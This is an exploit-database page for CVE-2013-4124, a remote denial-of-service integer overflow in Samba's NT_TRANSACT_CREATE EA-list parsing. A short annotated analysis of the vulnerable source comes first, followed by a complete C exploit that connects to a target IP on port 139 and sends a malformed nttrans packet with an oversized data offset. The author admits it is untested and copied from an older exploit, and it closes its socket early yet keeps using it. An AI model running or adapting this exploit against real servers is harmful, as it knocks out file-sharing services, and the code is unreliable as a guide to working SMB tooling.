Samba 3.5.22/3.6.17/4.0.8 – nttrans Reply Integer Overflow

  • 作者: x90c
    日期: 2013-08-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/27778/
  • Exploitation: samba nttrans reply integer overflow
    
    ______
     / _ \/ _ \ 
    ____| (_) || | | |___ 
    \ \/ / \__. || | | | / __| 
     ></ / | |_| || (__ 
    /_/\_\/_/ \___/\___|
    
    
    CVE-2013-4124 samba integer overflow in nttrans 
    reply reading ea_list
    
    vulnerable samba daemon has a integer overflow 
    to cause remote dos by nttrans reply while the 
    daemon reading ea_list. In the detail, unsigned
    data type offset variable in vulnerable function 
    of read_nttrans_ea_list can be wrap up! security
    bug! 
    
    
    x90c
    
    [vulnerable versions]
    - samba 3.5.22 <=
    - samba 3.6.17 <=
    - samba 4.0.8 <=
    
    [call graph]
    +reply_nttrans	// reply nttrans
    +->handle_nttrans
    +-> call_nt_transact_create	// transact!
    -> read_nttrns_ea_list(vulnerable function)
    
    [security bug analyze]
    smbd/nttrans.c
    ---- snip ---- snip ---- snip ---- snip ----
    971 /****************************************************************************
     972Read a list of EA names and data from an incoming data buffer. Create an ea_list with them.
     973 ****************************************************************************/
     974 EA names, data from samba incoming buffer!
     975 struct ea_list *read_nttrans_ea_list(TALLOC_CTX *ctx, const char *pdata, size_t data_size)	// *pdata is inject vector
     976 {
     977 struct ea_list *ea_list_head = NULL;
     978 size_t offset = 0;	// unisigned
     979 
     980 if (data_size < 4) {
     981 return NULL;
     982 }
     983 
     984 while (offset + 4 <= data_size) {	// XXX (3) if offset is wrap up then it enters the loop continuly
     985 size_t next_offset = IVAL(pdata,offset);	// unsigned XXX (1) if next_offset from pdata pointer is much large value then to lead integer wrap!
    // XXX (4) may memory corruption point! if offset is wrap up then second argv pointer(pdata+offset+4) pointers around zero memory then smb dos! 
     986 struct ea_list *eal = read_ea_list_entry(ctx, pdata + offset + 4, data_size - offset - 4, NULL);
     987 
     988 if (!eal) {
     989 return NULL;
     990 }
     991 
     992 DLIST_ADD_END(ea_list_head, eal, struct ea_list *);
     993 if (next_offset == 0) {
     994 break;
     995 }
     996 
     997 /* Integer wrap protection for the increment. */		// XXX patch code
     998 if (offset + next_offset < offset) {
     999 break;
    1000 }
    1001 
    1002 offset += next_offset;	// XXX (2) if next_offset is large value then offset is wrap!
    1003 
    1004 /* Integer wrap protection for while loop. */	// XXX patch code
    1005 if (offset + 4 < offset) {
    1006 break;
    1007 }
    1008 
    1009 }
    1010 
    1011 return ea_list_head;
    1012 }
    ---- snip ---- snip ---- snip ---- snip ----
    
    ---- snip ---- snip ---- snip ---- snip ----
    1014 /****************************************************************************
    1015Reply to a NT_TRANSACT_CREATE call (needs to process SD's).
    1016 ****************************************************************************/
    1017 
    1018 static void call_nt_transact_create(connection_struct *conn,
    1019 struct smb_request *req,
    1020 uint16 **ppsetup, uint32 setup_count,
    1021 char **ppparams, uint32 parameter_count,
    1022 char **ppdata, uint32 data_count,
    1023 uint32 max_data_count)
    1024 {
    ...
    1148 /* We have already checked that ea_len <= data_count here. */
    1149 ea_list = read_nttrans_ea_list(talloc_tos(), data + sd_len,
    1150ea_len);
    ---- snip ---- snip ---- snip ---- snip ----
    
    ---- snip ---- snip ---- snip ---- snip ----
    2639 static void handle_nttrans(connection_struct *conn,
    2640struct trans_state *state,
    2641struct smb_request *req)
    2642 {
    ...
    2651 /* Now we must call the relevant NT_TRANS function */
    2652 switch(state->call) {
    2653 case NT_TRANSACT_CREATE:	// NT_TRANSACT_CREATE!
    2654 {
    2655 START_PROFILE(NT_transact_create);
    2656 call_nt_transact_create(
    2657 conn, req,
    2658 &state->setup, state->setup_count,
    2659 &state->param, state->total_param,
    2660 &state->data, state->total_data,
    2661 state->max_data_return);
    2662 END_PROFILE(NT_transact_create);
    2663 break;
    2664 }
    ---- snip ---- snip ---- snip ---- snip ----
    
    ---- snip ---- snip ---- snip ---- snip ----
    2770 /****************************************************************************
    2771Reply to a SMBNTtrans.
    2772 ****************************************************************************/
    2773 
    2774 void reply_nttrans(struct smb_request *req)	// smb_request!
    2775 {
    ...
    2945 if ((state->received_data == state->total_data) &&
    2946 (state->received_param == state->total_param)) {
    2947 handle_nttrans(conn, state, req);
    ---- snip ---- snip ---- snip ---- snip ----
    
    [exploitability]
    
    * keywords:
    - samba incoming data
    - EA names
    - data
    - 0xf1000000
    - SMB NTTRANS
    - Samba reply_nttrans() Remote Root Exploit
    (http://www.securiteam.com/exploits/5TP0M2AAKS.html)
    - SMB_COM_NT_TRANSACT(0xa0) = NTtrans (32-bit field)
    - SMBtrans
    - http://ubiqx.org/cifs/SMB.html
    
    
    The security bug is remote dos to a daemon, the 
    impact is exist even though it's exploited on 
    local network. If large local network exist and 
    many samba on the network, security risk is exist. 
    I assign the dos impact to medium, and the apache 
    or wuftpd dos to high because they are can be 
    exploited on internet
    
    /*
    
    !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!!
    
    CVE-2013-4124 samba remote dos private exploit
    
    
    ./samba_nttrans_exploit [target ip addr]
    
    * ... test ...:
    I didn't test for the exploit, I 
    copied another samba nttrans exploit 
    in 2003 that http://www.securiteam.co
    m/exploits/5TP0M2AAKS.html. It should 
    be works!
    
    the exploit send malformed nttrans 
    smb packet with large value of data 
    offset to cause integer wrap in the 
    vulnerable function of read_nttrns_ea_list
    
    I left an article that analyzed it
    
    !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!!
    
    
    x90c
    
    */
    
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <errno.h>
    #include <string.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <ctype.h>
    #include <signal.h>
    
    typedef unsigned char uint8;
    typedef unsigned short uint16;
    typedef unsigned long uint32;
    
    struct variable_data_header
    { uint8 wordcount, bytecount[2];
    };
    
    struct nbt_session_header
    { uint8 type, flags, len[2];
    };
    
    struct smb_base_header
    { uint8 protocol[4], command, errorclass, reserved, errorcode[2];
     uint8 flags;
     uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2];
    };
    
    struct negprot_reply_header
    { uint8 wordcount;
     uint8 dialectindex[2];
     uint8 securitymode;
     uint16 maxmpxcount, maxvccount;
     uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow, timehigh;
     uint16 timezone;
     uint8 keylen;
     uint16 bytecount;
    };
    
    struct sesssetupx_request_header
    { uint8 wordcount, command, reserved;
     uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2];
     uint8 sessionid[4];
     uint8 ipasswdlen[2], passwdlen[2];
     uint8 reserved2[4], capabilities[4];
    };
    
    struct sesssetupx_reply_header
    { uint8 wordcount, xcommand, xreserved, xoffset[2], action[2], bytecount[2];
    };
    
    struct tconx_request_header
    { uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];
    };
    
    struct tconx_reply_header
    { uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2], bytecount[2];
    };
    
    struct nttrans_primary_request_header
    { 
    uint8 wordcount; 
    uint8 maxsetupcount; 
    uint8 flags[2];
    uint8 totalparamcount[4]; 
    uint8 totaldatacount[4];
    uint8 maxparamcount[4];
    uint8 maxdatacount[4];
    uint8 paramcount[4];
    uint8 paramoffset[4];
    uint8 datacount[4];
    uint8 dataoffset[4];// XXXX 0xf000000
    uint8 setupcount; 
    uint8 function[2]; 
    uint8 bytecount[2];
    };
    
    #define SMB_NEGPROT 0x72
    #define SMB_SESSSETUPX 0x73
    #define SMB_TCONX 0x75
    #define SMB_TRANS2 0x32
    #define SMB_NTTRANS 0xA0
    #define SMB_NTTRANSCREATE 0x01
    #define SMB_TRANS2OPEN 0x00
    #define SMB_SESSIONREQ 0x81
    #define SMB_SESSION 0x00
    
    uint32 sessionid, PARAMBASE = 0x81c0000;
    char *tconx_servername;
    int tid, pid, uid;
    
    #define STACKBOTTOM 0xbfffffff
    #define STACKBASE 0xbfffd000
    #define TOTALCOUNT ((int)(STACKBOTTOM - STACKBASE))
    
    char *netbios_encode_name(char *name, int type)
    { char plainname[16], c, *encoded, *ptr;
     int i, len = strlen(name);
     if ((encoded = malloc(34)) == NULL)
     { fprintf(stderr, "malloc() failed\n");
     exit(-1);
     }
     ptr = encoded;
     strncpy(plainname, name, 15);
     *ptr++ = 0x20;
     for (i = 0; i < 16; i++)
     { if (i == 15) c = type;
     else 
     { if (i < len) c = toupper(plainname[i]);
    else c = 0x20;
     }
     *ptr++ = (((c >> 4) & 0xf) + 0x41);
     *ptr++ = ((c & 0xf) + 0x41);
     }
     *ptr = '\0';
     return encoded;
    }
    
    void construct_nbt_session_header(char *ptr, uint8 type, uint8 flags, uint32 len)
    { struct nbt_session_header *nbt_hdr = (struct nbt_session_header *)ptr;
     uint16 nlen;
    
    // geen idee of dit de juiste manier is, maar 't lijkt wel te werken ..
     if (len > 65535) nlen = 65535;
     else nlen = htons(len);
    
     memset((void *)nbt_hdr, '\0', sizeof (struct nbt_session_header));
     
     nbt_hdr->type = type;
     nbt_hdr->flags = flags;
     memcpy(&nbt_hdr->len, &nlen, sizeof (uint16));
    }
    
    // caller zorgt voor juiste waarde van ptr.
    void construct_smb_base_header(char *ptr, uint8 command, uint8 flags, uint16 flags2, uint16 tid, uint16 pid, 
     uint16 uid, uint16 mid)
    { struct smb_base_header *base_hdr = (struct smb_base_header *)ptr;
    
     memset(base_hdr, '\0', sizeof (struct smb_base_header));
    
     memcpy(base_hdr->protocol, "\xffSMB", 4);
    
     base_hdr->command = command;
     base_hdr->flags = flags;
    
     memcpy(&base_hdr->flags2, &flags2, sizeof (uint16));
     memcpy(&base_hdr->tid, &tid, sizeof (uint16));
     memcpy(&base_hdr->pid, &pid, sizeof (uint16));
     memcpy(&base_hdr->uid, &uid, sizeof (uint16));
     memcpy(base_hdr->mid, &mid, sizeof (uint16));
    }
    
    void construct_sesssetupx_header(char *ptr)
    { struct sesssetupx_request_header *sx_hdr = (struct sesssetupx_request_header *)ptr;
     uint16 maxbufsize = 0xffff, maxmpxcount = 2, vcnumber = 31257, pwdlen = 0;
     uint32 capabilities = 0x50;
    
     memset(sx_hdr, '\0', sizeof (struct sesssetupx_request_header));
    
     sx_hdr->wordcount = 13;
     sx_hdr->command = 0xff;
     memcpy(&sx_hdr->maxbufsize, &maxbufsize, sizeof (uint16));
     memcpy(&sx_hdr->vcnumber, &vcnumber, sizeof (uint16));
     memcpy(&sx_hdr->maxmpxcount, &maxmpxcount, sizeof (uint16));
     memcpy(&sx_hdr->sessionid, &sessionid, sizeof (uint32));
     memcpy(&sx_hdr->ipasswdlen, &pwdlen, sizeof (uint16));
     memcpy(&sx_hdr->passwdlen, &pwdlen, sizeof (uint16));
     memcpy(&sx_hdr->capabilities, &capabilities, sizeof (uint32));
    }
    
    /*
    struct tconx_request_header
    { uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];
     -- uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[];
    }; */
    void construct_tconx_header(char *ptr)
    { struct tconx_request_header *tx_hdr = (struct tconx_request_header *)ptr;
     uint16 passwdlen = 1, bytecount;
     char *data;
    
     memset(tx_hdr, '\0', sizeof (struct tconx_request_header));
    
     bytecount = strlen(tconx_servername) + 15; 
    
     if ((data = malloc(bytecount)) == NULL)
     { fprintf(stderr, "malloc() failed, aborting!\n");
     exit(-1);
     }
     memcpy(data, "\x00\x5c\x5c", 3);
     memcpy(data + 3, tconx_servername, strlen(tconx_servername));
     memcpy(data + 3 + strlen(tconx_servername), "\x5cIPC\x24\x00\x3f\x3f\x3f\x3f\x3f\x00", 12);
    
     tx_hdr->wordcount = 4;
     tx_hdr->xcommand = 0xff;
    
     memcpy(&tx_hdr->passwdlen, &passwdlen, sizeof (uint16));
     memcpy(&tx_hdr->bytecount, &bytecount, sizeof (uint16));
    
     memcpy(ptr + sizeof (struct tconx_request_header), data, bytecount);
    }
    
    void nbt_session_request(int fd, char *clientname, char *servername)
    { 
    char *cn, *sn;
    char packet[sizeof (struct nbt_session_header) + (34 * 2)];
    
    construct_nbt_session_header(packet, SMB_SESSIONREQ, 0, sizeof (packet) - sizeof (struct nbt_session_header));
    
    tconx_servername = servername;
    
    sn = netbios_encode_name(servername, 0x20);
    cn = netbios_encode_name(clientname, 0x00);
    
    memcpy(packet + sizeof (struct nbt_session_header), sn, 34);
    memcpy(packet + (sizeof (struct nbt_session_header) + 34), cn, 34);
    
    write(fd, packet, sizeof (packet));
    close(fd);
    
    free(cn);
    free(sn);
    }
    
    void process_nbt_session_reply(int fd)
    { struct nbt_session_header nbt_hdr;
     char *errormsg;
     uint8 errorcode;
     int size, len = 0;
    
     if ((size = read(fd, &nbt_hdr, sizeof (nbt_hdr))) == -1)
     { close(fd);
     fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
     exit(-errno);
     }
     if (size != sizeof (nbt_hdr))
     { close(fd);
     fprintf(stderr, "read() a broken packet, aborting.\n"); 
     exit(-1);
     }
     memcpy(&len, &nbt_hdr.len, sizeof (uint16));
    
     if (len)
     { read(fd, (void *)&errorcode, 1); 
     close(fd);
     switch (errorcode)
     { case 0x80 : errormsg = "Not listening on called name"; break;
    case 0x81 : errormsg = "Not listening for calling name"; break;
    case 0x82 : errormsg = "Called name not present"; break;
    case 0x83 : errormsg = "Called name present, but insufficient resources"; break;
    case 0x8f : errormsg = "Unspecified error"; break;
    default : errormsg = "Unspecified error (unknown error code received!)"; break;
     }
     fprintf(stderr, "session request denied, reason: '%s' (code %i)\n", errormsg, errorcode);
     exit(-1);
     }
     printf("session request granted\n");
    }
    
    void negprot_request(int fd)
    { struct variable_data_header data;
     char dialects[] = "\x2PC NETWORK PROGRAM 1.0\x0\x2MICROSOFT NETWORKS 1.03\x0\x2MICROSOFT NETWORKS 3.0\x0\x2LANMAN1.0\x0" \
     "\x2LM1.2X002\x0\x2Samba\x0\x2NT LANMAN 1.0\x0\x2NT LM 0.12\x0\x2""FLATLINE'S KWAADWAAR"; 
     char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data) + sizeof (dialects)];
     int dlen = htons(sizeof (dialects));
    
     memset(&data, '\0', sizeof (data));
     construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
     pid = getpid();
     construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NEGPROT, 8, 1, 0, pid, 0, 1);
    
     memcpy(&data.bytecount, &dlen, sizeof (uint16));
    
     memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)), &data, sizeof (data));
     memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data)), 
     dialects, sizeof (dialects));
    
     if (write(fd, packet, sizeof (packet)) == -1)
     { close(fd);
     fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
     exit(-errno);
     }
    }
    
    void process_negprot_reply(int fd)
    { struct nbt_session_header *nbt_hdr;
     struct smb_base_header *base_hdr;
     struct negprot_reply_header *np_reply_hdr;
     char packet[1024];
     int size;
     uint16 pid_reply;
    
     nbt_hdr = (struct nbt_session_header *)packet;
     base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
     np_reply_hdr = (struct negprot_reply_header *)(packet + (sizeof (struct nbt_session_header) + 
     sizeof (struct smb_base_header)));
    
     if ((size = read(fd, packet, sizeof (packet))) == -1)
     { close(fd);
     fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
     exit(-errno);
     }
    
     memcpy(&pid_reply, &base_hdr->pid, sizeof (uint16));
     memcpy(&sessionid, &np_reply_hdr->sessionid, sizeof (uint32));
     if (base_hdr->command != SMB_NEGPROT || np_reply_hdr->wordcount != 17 || pid_reply != pid)
     { close(fd);
     fprintf(stderr, "protocol negotiation failed\n");
     exit(-1);
     }
    
     printf("protocol negotiation complete\n");
    }
    
    void sesssetupx_request(int fd)
    { uint8 data[] = "\x12\x0\x0\x0\x55\x6e\x69\x78\x00\x53\x61\x6d\x62\x61";
     char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 
     sizeof (struct sesssetupx_request_header) + sizeof (data)];
     int size;
    
     construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
     construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_SESSSETUPX, 8, 1, 0, pid, 0, 1);
     construct_sesssetupx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));
     memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 
     sizeof (struct sesssetupx_request_header), &data, sizeof (data));
    
     if ((size = write(fd, packet, sizeof (packet))) == -1)
     { close(fd);
     fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
     exit(-errno);
     }
     if (size != sizeof (packet))
     { close(fd);
     fprintf(stderr, "couldn't write entire packet, aborting!\n");
     exit(-1);
     }
    }
    
    void process_sesssetupx_reply(int fd)
    { struct nbt_session_header *nbt_hdr;
     struct smb_base_header *base_hdr;
     struct sesssetupx_reply_header *sx_hdr;
     char packet[1024];
     int size, len;
    
     if ((size = read(fd, packet, sizeof (packet))) == -1)
     { close(fd);
     fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
     exit(-errno);
     }
    
     nbt_hdr = (struct nbt_session_header *)packet;
     base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
     sx_hdr = (struct sesssetupx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));
    
     memcpy(&len, &nbt_hdr->len, sizeof (uint16));
     memcpy(&uid, &base_hdr->uid, sizeof (uint16));
    
     if (sx_hdr->xcommand != 0xff && sx_hdr->wordcount != 3)
     { close(fd);
     fprintf(stderr, "session setup failed\n");
     exit(-1);
     }
    
     printf("session setup complete, got assigned uid %i\n", uid);
    }
    
    void tconx_request(int fd)
    { 
     char *packet;
     int size, pktsize = sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
     sizeof (struct tconx_request_header) + strlen(tconx_servername) + 15;
    
     if ((packet = malloc(pktsize)) == NULL)
     { close(fd);
     fprintf(stderr, "malloc() failed, aborting!\n");
     exit(-1);
     }
    
     construct_nbt_session_header(packet, SMB_SESSION, 0, pktsize - sizeof (struct nbt_session_header));
     construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_TCONX, 8, 1, 0, pid, uid, 1);
     construct_tconx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));
    
     if ((size = write(fd, packet, pktsize)) == -1)
     { close(fd);
     fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
     exit(-errno);
     }
    
     free(packet);
    
     if (size != pktsize)
     { close(fd);
     fprintf(stderr, "couldn't write entire packet, aborting!\n");
     exit(-1);
     } 
    }
    
    void process_tconx_reply(int fd)
    { struct nbt_session_header *nbt_hdr;
     struct smb_base_header *base_hdr;
     struct tconx_reply_header *tx_hdr;
     char packet[1024];
     int size, bytecount;
     
     if ((size = read(fd, packet, sizeof (packet))) == -1)
     { close(fd);
     fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
     exit(-errno);
     }
    
     nbt_hdr = (struct nbt_session_header *)packet;
     base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
     tx_hdr = (struct tconx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));
    
     memcpy(&tid, &base_hdr->tid, sizeof (uint16));
     memcpy(&bytecount, &tx_hdr->bytecount, sizeof (uint16));
    
     printf("tree connect complete, got assigned tid %i\n", tid);
    }
    
    void nttrans_request(int fd) { 
    // packet = nbt session header + smb base header + nttrans header!
    char packet[sizeof (struct nbt_session_header) + 
    sizeof (struct smb_base_header) + 
    sizeof (struct nttrans_primary_request_header)];
    struct nttrans_primary_request_header nttrans_hdr;// nttrans header!
    int size=0;
    int function = SMB_NTTRANSCREATE;// NTTRANSCREATE!
    int totalparamcount = TOTALCOUNT;
    int totaldatacount = 0;
    uint8 setupcount = 0;
    
    memset(&nttrans_hdr, 0, sizeof nttrans_hdr);
    
    // construct nbt session header
    construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
    // construct smb base header
    construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS, 8, 1, tid, pid, uid, 1);
    
    // construct nttrans header
    nttrans_hdr.paramoffset[0] = '\x00';
    nttrans_hdr.paramoffset[1] = '\x00';
    nttrans_hdr.paramoffset[2] = '\x10';
    nttrans_hdr.paramoffset[3] = '\xff';
    nttrans_hdr.dataoffset[0] = '\x00';// XXX data offset 0xff100000 to integer wrap
    nttrans_hdr.dataoffset[1] = '\x00';//the offset exploits the security bug of CVE-2013-4124
    nttrans_hdr.dataoffset[2] = '\x10';//samba remote dos
    nttrans_hdr.dataoffset[3] = '\xff';
    
    nttrans_hdr.wordcount = 19 + setupcount;
    memcpy(&nttrans_hdr.function, &function, sizeof (uint16));
    memcpy(&nttrans_hdr.totalparamcount, &totalparamcount, sizeof (uint32));
    memcpy(&nttrans_hdr.totaldatacount, &totaldatacount, sizeof (uint32));
    memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &nttrans_hdr, sizeof nttrans_hdr);
    
    // send samba packet!
    size = write(fd, packet, sizeof (packet));
    close(fd);
    
    }
    
    static char banner[]={
    "______\n" \
    " / _ \\/ _ \\ \n" \
    "____| (_) || | | |___ \n" \
    "\\ \\/ / \\__. || | | | / __| \n" \
    " ></ / | |_| || (__ \n" \
    "/_/\\_\\/_/ \\___/\\___|\n" \
    };
    
    int main(int argc, char *argv[]) {
    int fd;
    struct sockaddr_in s_in;
    char target_ip[16];
    int smb_port=139;
    
    
    printf("%s\n\nsamba nttrans reply exploit\n\n", banner);
    
    if(argc < 2){
    fprintf(stderr, "samba nttrans reply exploit Usage:\n\n./samba_exploit [target ip addr]\n\n");
    exit(-1);
    }
    
    strncpy(target_ip, argv[1], 16);
    
    memset(&s_in, 0, sizeof (s_in));
    s_in.sin_family = AF_INET;
    s_in.sin_port = htons(smb_port);// samba port=139/tcp
    s_in.sin_addr.s_addr = inet_addr(target_ip);
    
    fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    connect(fd, (struct sockaddr *)&s_in, sizeof (s_in));
    
    // nbt(netbios over tcpip, nbtstat) session request
    nbt_session_request(fd, "BOSSA", "SAMBA");// adjust computer names(clientname, servername)
    process_nbt_session_reply(fd);
    
    // protocol negotiation
    negprot_request(fd);
    process_negprot_reply(fd);
     
    // session setup
    sesssetupx_request(fd);// setup request
    process_sesssetupx_reply(fd);// setup reply
    
    // tree connection setup
    tconx_request(fd);
    process_tconx_reply(fd);
    
    // exploit!
    printf("[*] nttrans reply exploit!\n");
    nttrans_request(fd);
    
    close(fd);
    
    return 0;
    }